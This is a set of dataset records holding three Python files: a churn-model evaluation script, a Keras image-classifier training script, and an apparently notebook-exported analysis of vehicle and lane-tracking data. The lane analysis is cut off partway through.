pd.read_csv('C:/Users/hsiaol/Desktop/CDP_script_sample/090618_CDP_Usage_App_TESTDATA.csv',\n sep='\\t', encoding='latin-1', usecols=colnames_app)\n\nusage_app_raw.rename(columns={'all_visits': 'page_views'}, inplace=True)\n\nusage = usage_raw.dropna()\nusage_mobile = usage_mobile_raw.dropna()\nusage_app = usage_app_raw.dropna()\n\nprint(usage.shape, usage_mobile.shape, usage_app.shape)\n\n# Check all unique uuids that have usage at least in 1 month\nprint(len(usage.uuid.unique()), len(usage_mobile.uuid.unique()), len(usage_app.uuid.unique()))\n# Check how many uuids with no usage for all 6 months\nprint(len(set((unique.uuid + dup.uuid)) - set((usage.uuid + usage_mobile.uuid + usage_app.uuid))))\n\ncolnames = ['Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'uuid']\ncol_ord = ['uuid', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug']\n\n\ndef usage_flat(x):\n x = x.pivot(index='uuid', columns='month', values='page_views')\n x['uuid'] = x.index\n x = x.reset_index(drop=True)\n x.columns = colnames\n x = x[col_ord]\n x = x.fillna(0)\n return x\n\n\nusage = usage_flat(usage)\nusage_mobile = usage_flat(usage_mobile)\nusage_app = usage_flat(usage_app)\n\n\n# Compute the delta of 4-month exponential moving average\ndef ewm_delta_function(x):\n x1 = x[['Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug']]\n s = x1.apply(lambda s: s.ewm(span=4, adjust=False).mean(), axis=1) # 4-month rolling window\n s['delta'] = s.Aug-s.Jul\n s['last_month'] = s.Aug\n x = pd.concat([x, s], axis=1)\n x = x[['uuid', 'delta', 'last_month']]\n return x\n\n\nusage = ewm_delta_function(usage)\nusage_mobile = ewm_delta_function(usage_mobile)\nusage_app = ewm_delta_function(usage_app)\n\nusage_mobile.rename(columns={'delta': 'delta_mobile',\n 'last_month': 'last_month_mobile'}, inplace=True)\nusage_app.rename(columns={'delta': 'delta_app', 'last_month': 'last_month_app'}, inplace=True)\n\n\ndef merge_function(x):\n x = pd.merge(x, usage, on='uuid', how='left')\n x = pd.merge(x, usage_mobile, on='uuid', how='left')\n x = pd.merge(x, usage_app, on='uuid', how='left')\n return x\n\n\ndup = merge_function(dup)\nunique = merge_function(unique)\n\n# Save cleaned data to csv for quicker access\n# dup.to_csv('C:/Users/hsiaol/Desktop/CDP_script_sample/CDP_DUP_CLEAN_TESTDATA.csv')\n# unique.to_csv('C:/Users/hsiaol/Desktop/CDP_script_sample/CDP_UNIQUE_CLEAN_TESTDATA.csv')\n# Load cleaned data\n#dup = pd.read_csv('C:/Users/hsiaol/Desktop/CDP_script_sample/CDP_DUP_CLEAN_TESTDATA.csv', encoding='utf8')\n#unique = pd.read_csv('C:/Users/hsiaol/Desktop/CDP_script_sample/CDP_UNIQUE_CLEAN_TESTDATA.csv', encoding='utf8')\n\n# Drop rows with all NaN usage, assign 0 to no usage and no delta\ncols = ['delta', 'delta_mobile', 'delta_app', 'last_month', 'last_month_mobile', 'last_month_app']\n\ndup.dropna(subset=cols, how='all', inplace=True)\nunique.dropna(subset=cols, how='all', inplace=True)\n\ndup[cols] = dup[cols].fillna(0)\nunique[cols] = unique[cols].fillna(0)\n\n# Get 'committed_subscription_amount' and 'subscription_frequency'\n\n\ndef clean_function(x):\n x = x[x.committed_subscription_amount.notnull()]\n x = x[x.committed_subscription_amount != 0]\n x = x[x.subscription_frequency != 'OTHER']\n return x\n\n\ndup = clean_function(dup)\nunique = clean_function(unique)\n\nprint(dup.shape)\nprint(unique.shape)\n\n# Modeling process\ncol_select = ['tenure_in_days_pre_avg', 'max_hist', 'total_gap', 'cancel_num', 'avg_gap_days',\n 'delta', 'delta_mobile', 'delta_app',\n 'committed_subscription_amount', 'churn', 'subscription_frequency']\ndf_dup = dup[col_select]\ndf_unique = unique[col_select]\n\ndf_final = df_dup.append(df_unique)\nprint(df_final.churn.value_counts())\n\n# Dummy-code categorical variables\ndf_final = pd.get_dummies(df_final, drop_first=True)\n\ndf_final = df_final.reset_index(drop=True)\ndf_final = df_final.values\n\n# Labeling\nlabels = df_final[:, 9]\nle = preprocessing.LabelEncoder()\nle.fit(labels)\nlabels = le.transform(labels)\nclass_names = le.classes_\ndf_final = np.delete(df_final, 9, axis=1)\n\ndf_final = df_final.astype(float)\n\n# load the model\nloaded_model = joblib.load('C:/Users/hsiaol/Desktop/CDP_script_sample/finalized_model.sav')\n\n# Confusion Matrix\npd.crosstab(labels, loaded_model.predict(df_final), rownames=[\n 'True'], colnames=['Predicted'], margins=True)\n\ny_scores = loaded_model.predict_proba(df_final)[:, 1]\n\n\npd.crosstab(labels, loaded_model.predict(df_final), rownames=[\n 'True'], colnames=['Predicted'], margins=True)\n\nprint(classification_report(labels, loaded_model.predict(df_final)))\n\n\ndef adjusted_classes(y_scores, t):\n return [1 if y >= t else 0 for y in y_scores]\n\n\n# Adjust decision threshold\ny_pred_adj = np.array(adjusted_classes(y_scores, 0.3))\n\n# Confusion Matrix\npd.crosstab(labels, y_pred_adj, rownames=['True'], colnames=['Predicted'], margins=True)\n\n# Classification Report\nprint(classification_report(labels, y_pred_adj))\n","sub_path":"090618_CDP_Test_Script.py","file_name":"090618_CDP_Test_Script.py","file_ext":"py","file_size_in_byte":10077,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"73376443","text":"import sys\nimport os\nimport keras\nimport time\nimport numpy as np\nfrom keras.models import model_from_json\nfrom keras.preprocessing import image\nfrom keras.models import Model, load_model\nfrom keras.layers import Dense, Dropout, Activation, Flatten, GlobalAveragePooling2D\nfrom keras.optimizers import Adam, SGD\nfrom keras.callbacks import ModelCheckpoint, TensorBoard, ReduceLROnPlateau # Reference: https://keras.io/callbacks/\nimport h5py\n\nbatch_size = 32 # batch size\nepoch_count = 400 # Number of epochs to train\nimage_shape = (32, 32)\n\n# Load and augment training data\ntr_datagen = image.ImageDataGenerator(\n featurewise_center=True, # Boolean. Set input mean to 0 over the dataset, feature-wise\n samplewise_center=False, # Boolean. Set each sample mean to 0\n featurewise_std_normalization=True, # Boolean. Divide inputs by std of the dataset, feature-wise\n samplewise_std_normalization=False, # Boolean. Divide each input by its std\n zca_whitening=False, # Boolean. Apply ZCA whitening\n rotation_range=15, # Int. Degree range for random rotations\n width_shift_range=0.12, # Float. Range for random horizontal shifts\n height_shift_range=0.12, # Float. Range for random vertical shifts\n shear_range=0.2, # Float. Shear Intensity\n zoom_range=0.2, # Float. Range for random zoom\n fill_mode='nearest', # Points outside the boundaries of the input are filled according to the default nearest state\n horizontal_flip=True, # Boolean. Randomly flip inputs horizontally\n vertical_flip=False) # Boolean. Randomly flip inputs vertically\n\ntr_generator = tr_datagen.flow_from_directory(\n './Heiro_train/', # this is where the training data is\n target_size=image_shape, # all images should be resized to 32x32\n batch_size=batch_size,\n color_mode='grayscale',\n class_mode='categorical')\n\n# validation data generation and preprocessing\nval_datagen = image.ImageDataGenerator(featurewise_center=True, featurewise_std_normalization=True, rescale=None,\n rotation_range=15,\n width_shift_range=0.12,\n height_shift_range=0.12,\n shear_range=0.2,\n zoom_range=0.2,\n fill_mode='nearest',\n horizontal_flip=True)\n# this is a similar generator, for validation data\nval_generator = val_datagen.flow_from_directory(\n './Heiro_val/',\n target_size=image_shape,\n batch_size=batch_size,\n class_mode='categorical',\n color_mode='grayscale')\n\n# Load architecture\nf = open('augmented_model_architecture.json', 'r')\nmodel = model_from_json(f.read())\nf.close()\n\n# Load weights\nmodel = load_model('theweights_extra.hdf5')\nmodel.summary()\n\n# Stochastic Gradient Descent optimizer.\nsgd = SGD(lr=0.00001, momentum=0.7, decay=0.0001, nesterov=True)\n\nmodel.compile(loss='categorical_crossentropy', optimizer=sgd, metrics=['accuracy'])\n\n# reading current time to differentiate files in logs and submissions.\ncurrent = time.strftime(\"%c\")\n\ncheckpointer = ModelCheckpoint(filepath=\"theweights_extra_part2.hdf5\", verbose=1, save_best_only=True, monitor='val_loss')\ntb = TensorBoard(log_dir='./logsKanji/' + current, histogram_freq=0, write_graph=True, write_images=False)\n\n# Using reduce Learning rate on plateau to try to prevent saturation and overfitting by reducing the learning rate.\nreduce_lr = ReduceLROnPlateau(monitor='val_loss', factor=0.1, patience=4, min_lr=1e-6)\n\n# Train model\nmodel.fit_generator(\n tr_generator,\n samples_per_epoch=1240, # amount of data we want to train on\n nb_epoch=epoch_count,\n validation_data=val_generator,\n nb_val_samples=200, # amount of data we want to validate on\n callbacks=[tb, checkpointer])\n\n\n\n","sub_path":"kanji_extra.py","file_name":"kanji_extra.py","file_ext":"py","file_size_in_byte":3865,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"483873581","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # Set Up\n\n# In[5]:\n\n\nimport os\nimport pandas as pd\nimport numpy as np\nimport pickle as pk\nfrom collections import OrderedDict\nimport matplotlib\nfrom matplotlib import pyplot as plt\nimport matplotlib.animation as animation\nfrom timeit import default_timer as timer\nfrom IPython.display import display, clear_output, HTML\nfrom scipy import signal\n\n\n# In[6]:\n\n\n# Jupyter notebook configuration\n# Set backend of matplotlib to notebook\n# %matplotlib inline\n# get_ipython().run_line_magic('config', 'IPCompleter.greedy=False # aggresive auto-completion')\n# from IPython.core.display import display, HTML\n# display(HTML(\"\")) # Widen page of notebook\n\n\n# In[7]:\n\n\n# Paths\ndata_dir = os.path.dirname(os.path.realpath(\"__file__\"))\nholo_data_dir = os.path.join(data_dir, 'holo_ngsim_with_lane_info_v3')\noutput_dir = os.path.join(holo_data_dir, 'analysis')\nprocessed_data_dir = os.path.join(holo_data_dir, 'processed_data')\nif not os.path.exists(output_dir):\n os.mkdir(output_dir)\nif not os.path.exists(processed_data_dir):\n os.mkdir(processed_data_dir)\nfile_list = os.listdir(holo_data_dir)\ndate = '2018-12-04-10-47-15'\nmain_data_path = os.path.join(holo_data_dir, '{}.csv'.format(date))\nlane_data_path_list = [os.path.join(holo_data_dir, f) for f in file_list if date + '_lane' in f]\nlane_data_path_list.sort()\nprint(\"Data dir: {}\".format(holo_data_dir))\nprint(\"Holo data dir: {}\".format(holo_data_dir))\nprint(\"Main data path: {}\".format(main_data_path))\nprint(\"Lane Data paths:\")\nfor f in lane_data_path_list:\n print('\\t' + f)\nprint(\"Analysis results dir: {}\".format(output_dir))\nprint(\"Processed data dir: {}\".format(processed_data_dir))\n\n\n# # Load Data\n\n# In[8]:\n\n\n# Main data\nmd = pd.read_csv(main_data_path)\nmd.set_index(pd.to_datetime(md['Global_Time'], unit='ms'), inplace=True)\nmd.index.name = 'Date_Time'\n\n\n# In[9]:\n\n\nmd[:5]\n\n\n# In[10]:\n\n\n# Lane data\nld_list = [pd.read_csv(f) for f in lane_data_path_list]\nprint('Loaded data for {} lanes'.format(len(ld_list)))\n\n\n# # Data Preprocessing\n\n# ## Lane data preprocessing\n\n# In[11]:\n\n\ndef index_by_timestamp(data, timestamp_header = 'Global_Time'):\n for idx, ld in enumerate(data):\n if ld.index.name != timestamp_header:\n ld.set_index(pd.to_datetime(ld['Global_Time'], unit='ms'), inplace=True)\n# ld.index.tz_localize('Etc/GMT+8')\n ld.index.name = 'Date_Time'\n\ndef rename_headers(data):\n headers = list(data[0]) # Assumed that all lane data in data share same headers\n headers = [h for h in headers if 'Local' in h or 'Global' in h and 'Time' not in h]\n for idx, ld in enumerate(data):\n headers_renamed = [h + '_{}'.format(idx) for h in headers]\n rename_map = dict(zip(headers, headers_renamed))\n ld.rename(index=str, columns=rename_map, inplace=True)\n renamed.append(ld)\n \ndef string_to_array(s):\n if type(s) == np.ndarray:\n return s\n if '], [' in s:\n delim = '], ['\n elif '), (' in s:\n delim = '), ('\n elif '] [' in s:\n delim = '] ['\n else:\n print('Unable to determine the delimiter for parsing input string')\n s = s[2:-2] # rip two outer bracket at start and end of input: [[], [], ..., []]\n s = s.split(delim)\n s = [p.split(', ') for p in s]\n \n return np.asarray(s).astype(np.float)\n \ndef parse(data):\n print('Parsing string representations of arrays into np.array...')\n for id, ld in enumerate(data):\n headers = [h for h in list(ld) if 'Global' in h or 'Local' in h]\n headers = [h for h in headers if not 'Time' in h]\n for h in headers:\n ld[h] = ld[h].map(lambda row: string_to_array(row), na_action='ignore')\n\ndef filter_common_timestamp(data):\n print('Filtering lane data with information on all lanes...')\n stamps_list = []\n # Get a list of timestamps for each lane\n for id, ld in enumerate(data):\n stamps_list.append(set(ld.index.values))\n common_timestamps = sorted(list(set.intersection(*stamps_list)))\n for id, ld in enumerate(data):\n len_before = len(ld)\n data[id] = ld.loc[common_timestamps] # in-place modification of input data, self-assigning to ld does not modify data\n len_after = len(data[id])\n ratio = len_after / len_before\n print('Lane {}: Extracted {} / {} ({:.1%}) entries'.format(id, len_after, len_before, ratio))\n\ndef filter_out_identical_samples(data):\n print('Removing identical samples...')\n output = []\n stamps_remove = pd.DatetimeIndex([])\n for id, ld in enumerate(data):\n for pos in ['left', 'right']:\n for coord in ['global', 'local']:\n h = get_header(pos, coord)\n remove = ld[h].map(lambda row: has_identical_elements(row))\n stamps_remove = stamps_remove.union(ld.index[remove])\n for id, ld in enumerate(data):\n len_before = len(ld)\n stamps_before = ld.index\n stamps_keep = stamps_before.difference(stamps_remove)\n data[id] = ld.loc[stamps_keep]\n len_after = len(data[id])\n ratio = len_after / len_before\n print('Lane {}: Extracted {} / {} ({:.1%}) entries'.format(id, len_after, len_before, ratio))\n\ndef filter_by_x(a, xmin=None, xmax=None):\n if xmin is not None or xmax is not None:\n filter = np.ones((len(a),), dtype=bool)\n if xmin is not None:\n filter = filter & (xmin < a[:,0])\n if xmax is not None:\n filter = filter & (a[:,0] < xmax)\n idx = np.where(filter)[0]\n return a[idx]\n else:\n return a\n\ndef has_identical_elements(a):\n return np.all(a == a[0])\n\ndef concat_along_stamps(data):\n return pd.concat(data, ignore_index=False, sort=True)\n\ndef get_header(pos, coord):\n output = ''\n if pos.lower() == 'left':\n output += 'Lane_Boundary_Left_'\n elif pos == 'right':\n output += 'Lane_Boundary_Right_'\n elif pos == 'center':\n output += 'Center_Line_'\n else:\n print('Unsupported pos: {}'.format(pos))\n return ''\n if coord.lower() == 'global':\n output += 'Global'\n elif coord == 'local':\n output += 'Local'\n else:\n print('Unsupported coord: {}'.format(coord))\n return ''\n\n return output\n\ndef find_lane_shift(data, window=1, threshold=1.5):\n center_start = data['Center_Line_Global'].map(lambda a: a[0]).values\n steps = center_start[window:] - center_start[:-window]\n index = np.where(np.linalg.norm(np.vstack(steps), axis=1) > threshold)[0]\n index = index.tolist()\n index_list = index\n x_list = [center_start[i][0] for i in index]\n print('Lane {}: No. of frame of lane shift: {}'.format(idx, len(index)))\n \n return index_list, x_list\n\ndef find_lane_shift_interval(data, window=1, threshold=1.5):\n print('Detecting lane shift...')\n center_start = data['Center_Line_Global'].map(lambda a: a[0]).values\n steps = center_start[window:] - center_start[:-window]\n frame = np.where(np.linalg.norm(np.vstack(steps), axis=1) > threshold)[0]\n # Merge indices within window\n index_diff = frame[1:] - frame[:-1]\n index_frame_pre_break = np.where(index_diff >= window)[0]\n frame_pre_break = frame[index_frame_pre_break]\n frame_post_break = frame[index_frame_pre_break + 1]\n if frame_post_break[0] != frame[0]:\n frame_post_break = np.concatenate(([frame[0]], frame_post_break))\n if frame_pre_break[-1] != frame[-1]:\n frame_pre_break = np.concatenate((frame_pre_break, [frame[-1]]))\n index_list = list(zip(frame_post_break, frame_pre_break))\n x_list = [(center_start[i1][0], center_start[i2][0]) for i1, i2 in index_list]\n print('No. of interval of frame shift: {}'.format(len(index_list)))\n# print('Frame pre break:')\n# print(frame)\n# print('Index of frame pre break:')\n# print(index_frame_pre_break)\n# print('Frame pre break:')\n# print(frame_pre_break)\n# print('Index of frame post break:')\n# print(index_frame_pre_break+1)\n# print('Frame post break:')\n# print(frame_post_break)\n# print('Break frame interval:')\n# print(index_interval)\n \n return index_list, x_list\n\ndef count_valid(data):\n n_valid = len(np.where(data['Valid'] == True)[0])\n print('{} / {} ({:.1%}) entries are valid'.format(n_valid, len(data), n_valid / len(data)))\n return n_valid\n\n\n# In[12]:\n\n\nindex_by_timestamp(ld_list)\nfilter_common_timestamp(ld_list)\nparse(ld_list)\nfilter_out_identical_samples(ld_list)\n# Mark rows of data with large shift in the first lane and invalid\nfor idx, ld in enumerate(ld_list):\n print('Lane {}:'.format(idx))\n ld['Valid'] = np.ones((len(ld), )).astype(bool) # Valid by default\n lane_shift_index_list, _ = find_lane_shift_interval(ld, threshold=3, window=5)\n for start, end in lane_shift_index_list:\n# ld['Valid'].iloc[start:end] = False # this prompts pandas warning due to its internal mechanism\n ld.loc[ld.index[start:end], 'Valid'] = False\n count_valid(ld);\n\n\n# In[259]:\n\n\n# print('Saving post-processed lanes...')\n# for idx, ld in enumerate(ld_list):\n# path = lane_data_path_list[idx]\n# file_name = path.split('/')[-1]\n# output_path = os.path.join(processed_data_dir, file_name)\n# print('Saving Lane {} to {}...'.format(idx, output_path))\n# ld.to_csv(output_path, index=False, na_rep='NA', float_format='%.3f')\n\n\n# ## Main data preprocessing\n\n# In[61]:\n\n\n# # Mark rows with stamps at which lanes are valid as valid\n# print('Invalidate main data at timestamps where at least one lane is invalid...')\n# print('Before:')\n# count_valid(md);\n# index_invalid_lane = np.where(ld_list[0]['Valid'] == False)[0]\n# stamps_invalid_lane = ld_list[0].index[index_invalid_lane]\n# md.loc[stamps_invalid_lane, 'Valid'] = False\n# print('After:')\n# count_valid(md);\n\n\n# In[260]:\n\n\n# print('Saving post-processed lanes...')\n# main_data_file_name = main_data_path.split('/')[-1]\n# processed_main_data_path = os.path.join(processed_data_dir, main_data_file_name)\n# print('Saving main data to {}...'.format(processed_main_data_path))\n# md.to_csv(processed_main_data_path, index=False, na_rep='NA', float_format='%.3f')\n\n\n# # Data Analysis\n\n# ## Main data analysis\n\n# ### Invalid Odometry\n\n# In[240]:\n\n\ncount_valid(md);\n\n\n# ### Blinking vehicle (lost and then detected within short period of time)\n\n# In[13]:\n\n\ndef find_blinking_vehicle(data, window=5):\n if window < 3:\n return\n vehicles_by_stamps = data.groupby(['Date_Time'])['Vehicle_ID'].apply(list).apply(np.sort)\n vehicles_sets = np.array(([set(vs) for vs in vehicles_by_stamps]))\n lost = np.diff(vehicles_sets[::-1])[::-1] # vehicles in previous frame but not in later ones\n new = np.diff(vehicles_sets) # vehicles in later frames but not in previous ones\n vlen = np.vectorize(len) # vectorized len() function\n n_lost = vlen(lost)\n n_new = vlen(new)\n # index of transition between frames\n index_lost = np.where(n_lost != 0)[0]\n index_new = np.where(n_new != 0)[0]\n # Set sliding window over n frames or n - 1 frame transitions, where n is input window size\n trans = window - 1\n windows = [(i, i + trans) for i in range(len(vehicles_by_stamps) - trans)]\n blink_interval = []\n blink_vehicle_id = []\n for idx, w in enumerate(windows):\n index_lost_in_window = index_lost[np.where(np.logical_and(w[0] <= index_lost, index_lost < w[1]))[0]]\n index_new_in_window = index_new[np.where(np.logical_and(w[0] <= index_new, index_new < w[1]))[0]]\n if len(index_lost_in_window) != 0 and len(index_new_in_window) != 0:\n for i in index_lost_in_window:\n for j in index_new_in_window:\n if i < j:\n # A blinking vehicle lost track in previous frame and is detected again in later frames\n ids = list(set.intersection(lost[i], new[j]))\n if len(ids) > 0 and (i, j) not in blink_interval:\n # avoid duplicated frame intervals detected over different sliding window positions\n blink_interval.append((i, j))\n blink_vehicle_id.append(ids)\n blink_interval = sorted(list(set(blink_interval)))\n n_blink = len(blink_interval)\n n_trans = len(vehicles_by_stamps) - 1\n n_blinking_vehicles = np.sum([len(s) for s in blink_vehicle_id])\n n_blink_per_trans = len(blink_interval) / (len(vehicles_by_stamps) - 1)\n print('Detected {} blinking vehicles in {} / {} ({:.1%}) frame transitions'.format(n_blinking_vehicles, n_blink, n_trans, n_blink_per_trans))\n \n return blink_interval, blink_vehicle_id\n\n\n# In[242]:\n\n\nblink_interval, blink_vehicle_id = find_blinking_vehicle(md)\n\n#\n# # ### Deprecated code\n# used_id = set()\n# used_id = md['Vehicle_ID'].unique()\n# used_id.sort()\n# max_l = OrderedDict()\n# max_w = OrderedDict()\n#\n# for id in used_id:\n# rows = md[md['Vehicle_ID'] == id]\n# max_w[id] = max(rows['v_Width'])\n# max_l[id] = max(rows['v_length'])\n# fig, ax = plt.subplots(nrows=1, ncols=2)\n# ax[0].hist([max_w[k] for k in max_w])\n# ax[0].set_xlabel('width')\n# ax[1].hist([max_l[k] for k in max_l])\n# ax[1].set_xlabel('length')\n# plt.tight_layout()md['behavior'] = np.zeros(len(md)).astype(np.int)\n# dT = 0.1\n# x = list()\n# y = list()\n# vehicles = dict()\n# show_up = set()\n# vel_sum = 0\n#\n# id_map = dict()\n# discard_id = set()\n# id_cnt = 1\n# r_id_map = dict()\n#\n# for i in range(len(md)):\n# r = md.iloc[i]\n# v_id = r.Vehicle_ID\n#\n# md.at[i,'v_Width'] = max_w[v_id]\n# md.at[i,'v_length'] = max_l[v_id]\n#\n# if v_id in id_map:\n# v_id = id_map[v_id]\n# elif v_id in discard_id:\n# while id_cnt in used_id or id_cnt in discard_id:\n# id_cnt += 1\n# id_map[v_id] = id_cnt\n# r_id_map[id_cnt] = v_id\n# v_id = id_map[v_id]\n#\n# md.at[i,'Global_Time'] = md.at[i,'Frame_ID'] * 100\n# md.at[i,'Local_X'] = md.at[i,'Global_X'] - md.at[0, 'Global_X']\n# md.at[i,'Local_Y'] = md.at[i,'Global_Y'] - md.at[0, 'Global_Y']\n#\n# if v_id not in vehicles.keys():\n# vehicles[v_id] = i\n# md.at[i,'v_Acc'] = 0\n# else:\n# md.at[i,'v_Acc'] = md.at[i,'v_Vel'] - md.at[vehicles[v_id], 'v_Vel']\n#\n# show_up.add(v_id)\n#\n# if i == len(md)-1 or r.Global_Time != md.iloc[i+1].Global_Time:\n# for v_id in vehicles.keys():\n# if v_id not in show_up:\n# vehicles.remove(v_id)\n# discard_id.add(v_id)\n# id_map.remove(r_id_map(v_id))\n# print(v_id)len(discard_id)md[['Local_X', 'Local_Y', 'Global_X', 'Global_Y', 'v_Vel', 'v_Acc','v_length', 'v_Width', 'Space_Headway' ]] *= 3.28columnsTitles=[\"Local_X\",\"Local_Y\"]\n# md[[\"Local_X\",\"Local_Y\"]]=main_data.reindex(columns=columnsTitles)\n# md['Local_X'] = -main_data['Local_X']\n# ## Lane data analysis\n\n# ### Statistics\n\n# In[14]:\n\n\ndef print_statistics(data, coord, xmin=None, xmax=None, step_dist_threshold=None):\n for id, ld in enumerate(data):\n left = ld[get_header('left', coord)]\n right = ld[get_header('right', coord)]\n # Stack\n left = np.vstack(left)\n right = np.vstack(right)\n # Get samples at (c0, x0)\n left0 = np.vstack([samples[0] for samples in left])\n right0 = np.vstack([samples[0] for samples in right])\n # Filter by x\n left = filter_by_x(left, xmin=xmin, xmax=xmax)\n right = filter_by_x(right, xmin=xmin, xmax=xmax)\n left0 = filter_by_x(left0, xmin=xmin, xmax=xmax)\n right0 = filter_by_x(right0, xmin=xmin, xmax=xmax)\n # Filter out abrupt changes in step dist\n if step_dist_threshold is not None:\n left = filter_out_abrupt_change(left, step_dist_threshold)\n right = filter_out_abrupt_change(right, step_dist_threshold)\n # Statistics\n left_x_min = left[:, 0].min()\n left_x_max = left[:, 0].max()\n left_y_min = left[:, 1].min()\n left_y_max = left[:, 1].max()\n right_x_min = right[:, 0].min()\n right_x_max = right[:, 0].max()\n right_y_min = right[:, 1].min()\n right_y_max = right[:, 1].max()\n left_diff = np.diff(left0, axis=0)\n right_diff = np.diff(right0, axis=0)\n left_dist = np.sum(np.linalg.norm(left_diff, axis=1))\n right_dist = np.sum(np.linalg.norm(right_diff, axis=1))\n print('Lane {}:'.format(id))\n print(\"Left Boundary No. of samples: {}\".format(len(left)))\n print(\"Right Boundary No. of samples: {}\".format(len(right)))\n print(\"Left Boundary dist: {:.3f} km\".format(left_dist * 1e-3))\n print(\"Right Boundary dist: {:.3f} km\".format(right_dist * 1e-3))\n print('Left Boundary Global X range: [{:.0f}, {:.0f}]'.format(left_x_min, left_x_max))\n print('Left Boundary Global Y range: [{:.0f}, {:.0f}]'.format(left_y_min, left_y_max))\n print('Right Boundary Global X range: [{:.0f}, {:.0f}]'.format(right_x_min, right_x_max))\n print('Right Boundary Global Y range: [{:.0f}, {:.0f}]'.format(right_y_min, right_y_max))\n\n\n# In[288]:\n\n\n# print_statistics(ld_list, coord='global')\n\n\n# ### Frame loss\n\n# In[15]:\n\n\ndef find_frame_loss(data, threshold=50):\n frame_loss_index_list = []\n frame_loss_x_list = []\n for idx, ld in enumerate(ld_list):\n stamps = ld.index\n steps = stamps[1:] - stamps[:-1]\n index = np.where(np.array(steps > pd.Timedelta(threshold, unit='ms')))[0].tolist()\n frame_loss_index_list.append(index)\n pos = list(ld['Center_Line_Global'].iloc[index])\n frame_loss_x_list.append(pos)\n print('Lane {}: No. of frame loss: {}'.format(idx, len(index)))\n return frame_loss_index_list, frame_loss_x_list\n\n\n# In[16]:\n\n\nfind_frame_loss(ld_list);\n\n\n# ### Lane shift\n\n# In[17]:\n\n\nfind_lane_shift(ld_list[0], threshold=3, window=5);\nfind_lane_shift_interval(ld_list[0], threshold=3, window=5);\n\n\n# ### Invalid samples at initialization\n\n# In[18]:\n\n\ndef hist_samples(data, coord, xmin=None, xmax=None, step_dist_threshold=None):\n fig, axes = plt.subplots(nrows=len(ld_list), ncols=2, figsize=(10,10))\n for id, ld in enumerate(data):\n left = ld[get_header('left', coord)]\n right = ld[get_header('right', coord)]\n # Stack\n left = np.vstack(left)\n right = np.vstack(right)\n # Get samples at (c0, x0)\n left0 = np.vstack([samples[0] for samples in left])\n right0 = np.vstack([samples[0] for samples in right])\n # Filter by x\n left = filter_by_x(left, xmin=xmin, xmax=xmax)\n right = filter_by_x(right, xmin=xmin, xmax=xmax)\n left0 = filter_by_x(left0, xmin=xmin, xmax=xmax)\n right0 = filter_by_x(right0, xmin=xmin, xmax=xmax)\n # Filter out abrupt changes in step dist\n if step_dist_threshold is not None:\n left = filter_out_abrupt_change(left, step_dist_threshold)\n right = filter_out_abrupt_change(right, step_dist_threshold)\n # Statistics\n left_min = left[:, 0].min()\n left_max = left[:, 0].max()\n right_min = right[:, 0].min()\n right_max = right[:, 0].max()\n left_diff = np.diff(left0, axis=0)\n right_diff = np.diff(right0, axis=0)\n left_dist = np.sum(np.linalg.norm(left_diff, axis=1))\n right_dist = np.sum(np.linalg.norm(right_diff, axis=1))\n print('Lane {}:'.format(id))\n print(\"\\tLeft Boundary No. of samples: {}\".format(len(left)))\n print(\"\\tRight Boundary No. of samples: {}\".format(len(right)))\n print(\"\\tLeft Boundary dist: {:.3f} km\".format(left_dist * 1e-3))\n print(\"\\tRight Boundary dist: {:.3f} km\".format(right_dist * 1e-3))\n print('\\tLeft Boundary Global X range: [{}, {}]'.format(left_min, left_max))\n print('\\tRight Boundary Global X range: [{}, {}]'.format(right_min, right_max))\n # Plot\n ax_left = axes[id, 0]\n ax_right = axes[id, 1]\n ax_left.hist(left[:, 0])\n ax_right.hist(right[:, 0])\n ax_left.set_xlabel('Global_X')\n ax_left.set_title('Lane {} Left Boundary'.format(id))\n ax_right.set_xlabel('Global_X')\n ax_right.set_title('Lane {} Right Boundary'.format(id))\n plt.tight_layout()\n\n\n# In[217]:\n\n\nhist_samples(ld_list, 'global')\n\n\n# #### Interrution of lane detection\n\n# In[284]:\n\n\n# hist_samples(ld_list, 'global', xmin=4e4)\n\n\n# #### Filter out invalid samples at initialization and samples during interruption of lane detection\n\n# In[285]:\n\n\n# hist_samples(ld_list, coord='global', xmin=4e4, step_dist_threshold=100)\n\n\n# #### Abrupt changes in step distance between (x0, c0) of sampled lanes between consecutive frames\n\n# In[173]:\n\n\n# plot_step_dist(ld_list, 'global', xmin=4e4, step_dist_threshold=100)\n\n\n# ### Lane in given range of Global_X\n\n# ### Static Lane Plots\n\n# In[36]:\n\n\ndef plot_lane(data, id, coord, xmin=0, xmax=100, t=None, marker_size=5, save_dir=output_dir, downsample=None, smooth=False):\n if coord != 'global' and coord != 'local':\n print('Unsupported coord: {}'.format(coord))\n return\n fig = plt.figure(figsize=(20, 10))\n if t is not None:\n left = data[id][get_header('left', coord)].iloc[t]\n right = data[id][get_header('right', coord)].iloc[t]\n else:\n left = data[id][get_header('left', coord)]\n right = data[id][get_header('right', coord)]\n if downsample is not None:\n left = [a[::downsample] for a in left]\n right = [a[::downsample] for a in right]\n left = np.vstack(left)\n right = np.vstack(right)\n left = filter_by_x(left, xmin, xmax)\n right = filter_by_x(right, xmin, xmax)\n # Smoothing\n if smooth:\n left = signal.savgol_filter(left, window_length=401, polyorder=3, deriv=0, axis=0)\n right = signal.savgol_filter(right, window_length=401, polyorder=3, deriv=0, axis=0)\n plt.scatter(left[:, 0], left[:, 1], s=marker_size)\n plt.scatter(right[:, 0], right[:, 1], s=marker_size)\n plt.title('Lane {}'.format(id + 1))\n plt.xlabel('{}_X'.format(coord))\n plt.ylabel('{}_Y'.format(coord))\n plt.tight_layout()\n suffix = ''\n if downsample is not None:\n suffix = '_downsample_{}'.format(downsample)\n fig.savefig(os.path.join(save_dir, 'lane_{}_{}{}.png'.format(id, coord, suffix)))\n\ndef plot_lanes(data, coord, xmin=0, xmax=100, t=None, marker_size=5, save_dir=output_dir, downsample=None, sample=False, smooth=False):\n if coord != 'global' and coord != 'local':\n print('Unsupported coord: {}'.format(coord))\n return\n fig, axes = plt.subplots(nrows=1, ncols=len(ld_list), figsize=(20, 5))\n for id, ld in enumerate(data):\n clear_output(wait=True)\n display('Plotting data for lane {}/{}'.format(id, len(ld_list) - 1))\n if t is not None:\n left = data[id][get_header('left', 